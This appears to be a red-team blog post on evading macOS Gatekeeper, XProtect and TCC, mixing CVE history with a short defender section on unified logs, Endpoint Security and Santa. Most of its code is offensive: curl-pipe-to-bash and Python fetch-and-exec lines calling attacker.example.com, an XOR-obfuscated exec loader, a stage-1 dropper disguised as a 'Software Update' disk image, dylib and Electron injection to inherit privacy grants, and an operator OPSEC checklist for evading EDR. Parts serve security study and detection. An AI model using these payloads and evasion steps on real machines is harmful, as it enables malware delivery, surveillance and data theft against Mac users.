TL;DR — macOS Gatekeeper enforces code signing and notarization on files bearing the quarantine extended attribute; XProtect applies YARA-based signatures to known malware families; TCC gates access to sensitive resources; SIP prevents modification of protected system paths. Each control has a distinct bypass surface: Gatekeeper is defeated by avoiding the quarantine attribute or exploiting parsing edge cases, XProtect by obfuscation or in-memory execution, TCC by injecting into already-entitled processes, and SIP is largely intact but irrelevant to most red team objectives. This post covers the architecture of each control, historical CVE bypass techniques, and practical evasion for modern macOS (Ventura/Sonoma-era).
Executive Summary
macOS has built a layered security architecture that is architecturally different from Windows. Rather than a single enforcement boundary, Apple has deployed overlapping, mutually reinforcing controls: Gatekeeper at the execution boundary, XProtect at the signature-detection layer, TCC at the resource-access layer, and SIP at the kernel-protection layer. An attacker who understands each layer independently—and more importantly, understands where the layers do not overlap—can chart a path to code execution that avoids triggering any of them.
Gatekeeper's core mechanism is deceptively simple: if a file has the com.apple.quarantine extended attribute, macOS checks it against notarization records before allowing execution. If the file lacks this attribute, Gatekeeper does not evaluate it. This single design decision is the root cause of the majority of historical Gatekeeper bypasses: any delivery mechanism that does not set the quarantine bit (direct TCP download via curl, SMB share mounting, AirDrop, USB, Python scripts) completely sidesteps Gatekeeper regardless of notarization status.
XProtect's YARA-based detection is effective against known malware families but struggles with obfuscated or novel payloads, particularly interpreted language payloads (Bash, Python, Ruby, AppleScript) where the executing binary is always the legitimate interpreter and the malicious logic lives in the script content. The Endpoint Security Framework and Santa provide stronger behavioral and binary-authorization controls for defenders, but their deployment remains inconsistent outside well-managed enterprise environments.
macOS Security Architecture Overview
flowchart TD
A[File arrives on system] --> B{com.apple.quarantine\nextended attribute set?}
B -->|No| C[Execute freely — Gatekeeper not consulted]
B -->|Yes| D[Gatekeeper evaluation]
D --> E{Code signed?}
E -->|No| F[Blocked — user must explicitly override]
E -->|Yes| G{Notarized by Apple?}
G -->|No| H[Warning dialog — user override possible]
G -->|Yes| I{XProtect scan}
I -->|YARA match| J[Blocked — XProtect alert]
I -->|No match| K[Execution allowed]
K --> L{Accesses TCC-protected resource?}
L -->|Yes| M[TCC consent dialog]
L -->|No| N[Normal execution]
M -->|Granted| N
M -->|Denied| O[Operation fails silently or error]Gatekeeper: Mechanism and Architecture
Gatekeeper's evaluation is performed by syspolicyd, which is consulted by the kernel (via AMFI — Apple Mobile File Integrity) when an executable is opened. The key components:
- `com.apple.quarantine` extended attribute: Set by browsers (Safari, Chrome, Firefox), Mail.app, and other "internet-sourced" download mechanisms. Contains a UUID and origin URL.
- Code signing: Binaries must be signed with a Developer ID certificate or ad-hoc signature. The signature is validated against the certificate chain.
- Notarization: Apple scans the binary for malware and issues a notarization ticket, stapled to the binary or retrievable online. Required for distribution outside the App Store since macOS 10.15 Catalina.
# Check quarantine attributexattr -l /path/to/downloaded.app# Output: com.apple.quarantine: 0083;5f3a2b1c;Safari;UUID # Remove quarantine attribute (requires user intent or specific delivery method)xattr -dr com.apple.quarantine /path/to/app.app # Check code signaturecodesign -dv --verbose=4 /path/to/app.app # Check notarizationspctl -a -vv /path/to/app.app# Accepted if output contains: source=Notarized Developer IDAvoiding the Quarantine Attribute
The simplest Gatekeeper bypass is delivery via a channel that does not set the quarantine attribute. The quarantine bit is set by applications that explicitly call the LSSetItemAttribute API with kLSItemQuarantineProperties. Applications that do not call this API (because they were not written to handle internet-sourced content) do not set the bit.
Delivery methods that typically do NOT set quarantine:
# Direct curl download — no quarantine bitcurl -o /tmp/payload.dmg https://attacker.example.com/payload.dmgopen /tmp/payload.dmg# Gatekeeper is never consulted # Python urllib downloadpython3 -c "import urllib.requesturllib.request.urlretrieve('https://attacker.example.com/payload', '/tmp/payload')import os, statos.chmod('/tmp/payload', stat.S_IRWXU)import subprocesssubprocess.run(['/tmp/payload'])" # SMB share — quarantine bit not set for SMB-sourced files# Mount the share and copy — no quarantinemount -t smbfs //attacker.example.com/share /tmp/sharecp /tmp/share/payload /tmp/payload && chmod +x /tmp/payload # Git clone — contents have no quarantinegit clone https://attacker.example.com/repo.git./repo/payload # No Gatekeeper checkNote for operators: As of macOS 13 Ventura, Apple has expanded the set of applications that set the quarantine attribute. However, terminal-based downloads (curl, wget, Python) remain quarantine-free, and this is intentional — preventing terminal tools from setting quarantine would break legitimate developer workflows.
Historical Gatekeeper CVEs
CVE-2022-22616 — Zip Slip Gatekeeper Bypass (Ventura-era)
A path traversal vulnerability in macOS's zip extraction handling allowed a specially crafted zip file to extract a file with a ../ path that ended up outside the expected directory. When combined with app bundle structure manipulation, this could result in an app bundle where the executable was extracted to a location that did not receive the quarantine attribute from the Archive Utility app. Patched in macOS 12.3 / 11.6.5.
CVE-2021-30657 — App Bundle Without Info.plist
A critical bypass: macOS Gatekeeper evaluated app bundles (.app packages) by checking the signature of the main executable declared in Info.plist. A specially constructed app bundle that was a script application (using #!/bin/sh as the executable) without an Info.plist was treated as a Unix executable during Gatekeeper evaluation, but macOS's shell opened it as an app bundle — executing the shell script directly without Gatekeeper checking the bundle's code signature. Used in the wild by XCSSET malware.
# Demonstration structure (patched in macOS 11.3)# payload.app/Contents/MacOS/payload (shell script, no Info.plist)mkdir -p payload.app/Contents/MacOScat > payload.app/Contents/MacOS/payload << 'EOF'#!/bin/bash# Malicious script — Gatekeeper saw no Info.plist and skipped bundle checkopen -a CalculatorEOFchmod +x payload.app/Contents/MacOS/payload# Pre-patch: double-clicking payload.app executed the script with no Gatekeeper checkCVE-2021-30853 — Script-Based App Bypass
Gatekeeper did not enforce policies for script-based applications written in certain scripting languages when the interpreter binary itself was unsigned or when the script file was in a specific format. This affected AppleScript-based app bundles and certain shell script apps. Patched in macOS 12.
CVE-2023-27952 — Race Condition in Archive Extraction
A time-of-check to time-of-use (TOCTOU) race condition in the quarantine attribute assignment during Archive Utility extraction. A racing xattr -d com.apple.quarantine call between extraction and the quarantine assignment could strip the attribute before Gatekeeper evaluated it. Patched in macOS 13.3.
XProtect Architecture and Evasion
XProtect is Apple's built-in signature-based malware scanner. It consists of:
- XProtect.bundle: A bundle in
/Library/Apple/System/Library/CoreServices/containing YARA rules, updated automatically via Apple's CDN - XProtectRemediator: A newer runtime scanner that can remediate active infections
- syspolicyd: Runs XProtect scans as part of the Gatekeeper evaluation
XProtect's YARA rules target known malware families by their file structure, strings, and patterns. The rules are human-readable and have been extracted and published by the security community.
XProtect Evasion via Obfuscation
Since XProtect matches on static file content, obfuscation defeats YARA signatures:
#!/usr/bin/env python3# Example: XOR-obfuscated payload launcher# The payload script never appears as plaintext — only the decoder is on disk import sys def xor_decode(data: bytes, key: bytes) -> bytes: return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) # "Payload" is stored XOR-encoded — no YARA rule matches the encoded formENCODED_PAYLOAD = bytes([ 0x2f, 0x40, 0x5e, 0x1a, 0x33, 0x47, 0x11, 0x28, # ... rest of encoded content])KEY = b'campaign_key_2024' decoded = xor_decode(ENCODED_PAYLOAD, KEY)# Execute decoded script in-memory via exec() — never touches diskexec(decoded.decode('utf-8'))In-Memory Execution
Executing code entirely in memory bypasses both XProtect (which scans files) and Gatekeeper (which requires a file with a quarantine attribute):
#!/bin/bash# Fetch and execute shell script entirely in memory — no file written# XProtect cannot scan what is never on diskcurl -s https://attacker.example.com/stage2.sh | bash # Python in-memory executionpython3 -c "import urllib.request, syscode = urllib.request.urlopen('https://attacker.example.com/payload.py').read()exec(compile(code, '<string>', 'exec'))"Custom Binary with No YARA Signature
Compiling a novel payload from source produces a binary with no matching XProtect YARA rule. Combined with ad-hoc code signing (which satisfies the signature requirement without Apple notarization for certain execution contexts) and quarantine-free delivery:
# Ad-hoc sign a binary — satisfies the "must be signed" requirement for some contexts# Note: does NOT pass Notarization check — but bypasses Gatekeeper if quarantine bit absentcodesign --force --deep --sign - payload.appTCC: Transparency, Consent and Control
TCC controls access to privacy-sensitive resources: camera, microphone, location, Contacts, Calendar, Full Disk Access, Screen Recording, and Accessibility. TCC grants are per-bundle-identifier and per-binary-hash, stored in SQLite databases:
~/Library/Application Support/com.apple.TCC/TCC.db(user grants)/Library/Application Support/com.apple.TCC/TCC.db(system grants, SIP-protected on Ventura+)
TCC Bypass via Injection into Entitled Process
Applications that already have TCC entitlements—particularly those with kTCCServiceSystemPolicyAllFiles (Full Disk Access)—can be leveraged by injecting code into them. If the injection succeeds, the injected code inherits the application's TCC grants.
Common high-entitlement targets:
- Terminal.app — often granted Full Disk Access by users
- Finder — has broad filesystem access
- Electron-based apps (Slack, Teams, VS Code) — may have Screen Recording, Microphone, etc.
# DYLD_INSERT_LIBRARIES injection — works if:# 1. Target binary is not hardened runtime (no com.apple.security.cs.allow-dyld-env-variables)# 2. Not System Integrity Protection protected DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/Target.app/Contents/MacOS/Target # Check if an app allows DYLD injectioncodesign -d --entitlements - /Applications/Target.app/Contents/MacOS/Target | \ grep -E "allow-dyld|disable-library-validation"Library Validation Bypass: Applications that do not set the com.apple.security.cs.require-lv entitlement (library validation disabled) can load unsigned dylibs via DYLD_INSERT_LIBRARIES. As of macOS 12+, hardened runtime is required for notarization, but many third-party and enterprise applications still lack it.
Electron App Abuse
Electron applications run Node.js code and inherit TCC entitlements from their bundle identifier. The --inspect debug flag opens a CDP (Chrome DevTools Protocol) port, and --require allows injecting a script before the application's main module:
# If the Electron app has sensitive TCC grants:/Applications/Slack.app/Contents/MacOS/Slack --inspect=9229 &# Connect via CDP and execute arbitrary JavaScript in the Electron renderer context# The JS runs with Slack's TCC permissions (Microphone, Screen Recording, etc.) # Alternative: --require injection/Applications/App.app/Contents/MacOS/App --require /tmp/evil.jsThe fuses mechanism introduced in recent Electron versions disables --inspect and --require in production builds, but many enterprise-distributed Electron apps have not updated to use fuses.
Practical Delivery: Quarantine-Free DMG
A disk image (dmg) delivered via curl or SMB and manually mounted does not carry the quarantine attribute for its contents, since the contents inherit from the mount point, not from the DMG's attribute:
# Attacker side: create a DMG containing a shell script disguised as an appmkdir -p Payload.app/Contents/MacOScat > Payload.app/Contents/MacOS/Payload << 'SCRIPT'#!/bin/bash# Stage 1 droppermkdir -p ~/.local/bincurl -s https://attacker.example.com/stage2 -o ~/.local/bin/updatechmod +x ~/.local/bin/stage2~/.local/bin/update &disownSCRIPTchmod +x Payload.app/Contents/MacOS/Payload# Ad-hoc signcodesign --force --deep --sign - Payload.app# Create DMGhdiutil create -volname "Software Update" -srcfolder . -ov -format UDZO payload.dmg#!/usr/bin/env python3# Victim side: download and execute via Python (no quarantine)import urllib.request, subprocess, os, tempfile url = "https://attacker.example.com/payload.dmg"tmp = tempfile.mktemp(suffix=".dmg")urllib.request.urlretrieve(url, tmp) # Mount the DMG — quarantine bit NOT propagated to mounted volume contentsresult = subprocess.run( ["hdiutil", "attach", tmp, "-mountpoint", "/tmp/mnt", "-nobrowse"], capture_output=True)# Execute the app from the mounted volumesubprocess.Popen(["/tmp/mnt/Payload.app/Contents/MacOS/Payload"])Detection: Unified Log and Endpoint Security Framework
Unified Log (log stream)
The macOS Unified Log captures security-relevant events including Gatekeeper evaluations, TCC decisions, and AMFI actions:
# Stream Gatekeeper evaluation eventslog stream --predicate 'subsystem == "com.apple.security.assessment"' --info # Stream TCC decisionslog stream --predicate 'subsystem == "com.apple.TCC"' --info # Stream AMFI events (code signature enforcement)log stream --predicate 'subsystem == "com.apple.kernel.amfi"' --debug # Historical query for Gatekeeper blocks (last 1 hour)log show --last 1h --predicate 'subsystem == "com.apple.security.assessment" AND eventMessage CONTAINS "denied"'Endpoint Security Framework (ESF)
ESF is Apple's official API for security tools to subscribe to security-relevant kernel events. EDR products on macOS use ESF to receive:
ES_EVENT_TYPE_AUTH_EXEC— process execution authorization (can block)ES_EVENT_TYPE_NOTIFY_EXEC— post-execution notificationES_EVENT_TYPE_AUTH_OPEN— file open authorizationES_EVENT_TYPE_NOTIFY_MMAP— memory mapping (for in-memory execution detection)ES_EVENT_TYPE_NOTIFY_PROC_CHECK— process inspection events
// ESF client skeleton (Swift) — monitor process executionimport EndpointSecurity let client: OpaquePointer?let result = es_new_client(&client) { client, message in guard message.pointee.event_type == ES_EVENT_TYPE_NOTIFY_EXEC else { return } let exec = message.pointee.event.exec let path = String(cString: exec.target.pointee.executable.pointee.path.data) let cd_hash = exec.target.pointee.cdhash // code directory hash print("Process exec: \(path)") // Check cd_hash against allowlist / blocklist}es_subscribe(client!, [ES_EVENT_TYPE_NOTIFY_EXEC])Santa is an open-source macOS binary authorization system that enforces allowlist or blocklist policies for binary execution based on code signature, binary hash, certificate, or team ID:
# Santa modes:# MONITOR — log all executions, block nothing (default)# LOCKDOWN — block any binary not explicitly allowed # Check Santa statussantactl status # Add a rule to block execution of unsigned binariessantactl rule --block --certificate --sha256 <hash> # Lockdown mode: only Apple-signed and explicitly allowed binaries run# sudo defaults write /var/db/santa/config.plist ClientMode -int 2In Lockdown mode, Santa defeats virtually all code-execution bypasses that rely on running a novel binary, making it one of the strongest macOS endpoint controls available.
Detection and Evasion Matrix
flowchart TD
subgraph Bypass Techniques
A[curl download\nno quarantine] --> E1[Gatekeeper Bypass]
B[Script execution\nvia interpreter] --> E2[XProtect Bypass]
C[DYLD injection into\nentitled app] --> E3[TCC Bypass]
D[In-memory exec\nvia exec/eval] --> E4[All file-based\ndetections bypassed]
end
subgraph Detection Controls
E1 --> D1[ESF NOTIFY_EXEC\n+ Santa allowlist]
E2 --> D2[YARA in memory\nvia EDR]
E3 --> D3[ESF NOTIFY_MMAP\n+ codesign validation]
E4 --> D4[Behavioral monitoring\n+ memory scanning]
end
subgraph Residual Gaps
D1 --> G1[Novel binary from\nmemory: no file to scan]
D2 --> G2[Novel obfuscation\nnot in XProtect rules]
D3 --> G3[Electron apps with\nfuses disabled]
D4 --> G4[Short-lived in-memory\ncode: timing gap]
endNotarization Stapling and Its Limits
Apple's notarization process submits a binary to Apple's servers for scanning; if clean, Apple issues a notarization ticket. This ticket can be "stapled" to the binary so that offline Gatekeeper evaluation succeeds without network access:
# Staple a notarization ticket to a binary or DMGxcrun stapler staple payload.dmg # Validate that notarization is properly stapledxcrun stapler validate payload.dmgspctl -a -t open --context context:primary-signature -v payload.dmgNotarization does not guarantee safety — Apple's automated scanning catches known-bad patterns but will not detect a novel, obfuscated payload. Red team operators can submit genuinely clean-looking binaries (stagers that download their payload over HTTPS, contain no immediately malicious content, and pass automated YARA checks) and receive valid notarization tickets, producing fully signed, notarized, and stapled binaries that satisfy every Gatekeeper check.
Practical OPSEC Summary for macOS Red Teams
- Avoid browser-based delivery whenever possible; curl/Python delivery avoids the quarantine attribute entirely.
- Use script-based stage 1 (Bash/Python); the executing binary is always a system interpreter with no matching XProtect signature.
- Sign with a real Developer ID and notarize stage 1 stagers that contain no malicious logic; save the payload for in-memory delivery in stage 2.
- Target Electron apps for TCC bypass when specific privacy permissions are needed; check for disabled library validation and missing fuses.
- Keep payloads in memory; avoid writing decrypted shellcode to disk; use anonymous memory mappings (
MAP_ANON | MAP_PRIVATE). - Clean up quarantine attributes if files must be written to disk for any reason:
xattr -d com.apple.quarantine /path/to/file. - Profile the target environment for EDR presence (Santa, CrowdFalcon, SentinelOne) before executing; ESF-based EDRs can intercept execution even for quarantine-free binaries.
Conclusion
macOS's security architecture is more coherent and layered than Windows' equivalent, but it is not monolithic. Each control—Gatekeeper, XProtect, TCC, SIP—addresses a specific threat model and has a specific bypass surface. Gatekeeper is fundamentally vulnerable to delivery methods that do not set the quarantine attribute, a structural limitation that Apple has acknowledged but cannot fully close without breaking developer and administrative workflows. XProtect's signature-based model struggles with novel and obfuscated payloads, particularly those executed in-memory by legitimate interpreters. TCC can be circumvented by injecting into already-entitled processes, particularly Electron applications without hardened runtime or fuses configured.
The strongest macOS endpoint controls—Santa in Lockdown mode, ESF-based EDR products (CrowdStrike Falcon, SentinelOne), and unified log monitoring—are not built into macOS itself but are deployed by security-conscious organizations. The gap between a default macOS installation and a hardened enterprise endpoint is substantial, and red team assessments should both test the specific controls deployed and model what a determined attacker would do in their absence.
For defenders, the priority is: deploy Santa or an equivalent binary authorization tool in Monitor mode first to baseline the environment, then transition to Lockdown mode for high-risk user populations; enable ESF-based behavioral monitoring; and integrate Unified Log telemetry into the SIEM with specific filters for TCC denials, Gatekeeper evaluations, and AMFI failures. These controls collectively close the gaps that Gatekeeper and XProtect leave open.